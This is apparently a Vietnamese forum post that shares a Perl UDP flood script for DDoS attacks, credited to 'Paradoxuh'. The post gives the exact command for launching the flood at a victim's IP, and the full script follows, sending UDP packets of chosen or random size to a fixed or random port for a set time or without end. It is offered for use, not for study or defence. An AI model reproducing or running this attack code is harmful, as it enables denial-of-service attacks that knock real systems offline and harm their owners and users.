[DDOS] UDP Flood by Paradoxuh

Đây là code perl nhé, sử dụng cơ chế UDP để ddos, save tên file là flood2.pl

Có thể sử dụng trên windows hoặc Koding đều đc, dùng lệnh dưới đây để attack:

perl flood2.pl 127.0.0.1 80 65500 800 (trong đó 127.0.0.1) là ip của victim

#!/usr/bin/perl

##########################
# udp flood by paradoxuh #
##########################
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
  print "flood.pl <IP> <Porta> <Pacotes> <Tempo>nn";
  print " Porta = 0: Usar Portas aleatoriasn";
  print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatoriosn";
  print " Tempo = 0: Ataque continuon";
  exit(1);
}
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "IP inválido: $ipn";
$endtime = time() + ($time ? $time : 1000000);
 
socket(flood, PF_INET, SOCK_DGRAM, 17);

 
print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " . 
  ($size ? "$size-bytes" : "random size") . " de pacotes" . 
  ($time ? " por $time segundos" : "") . "n";
print "Pare o ataque pressionando Ctrl + Cn" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}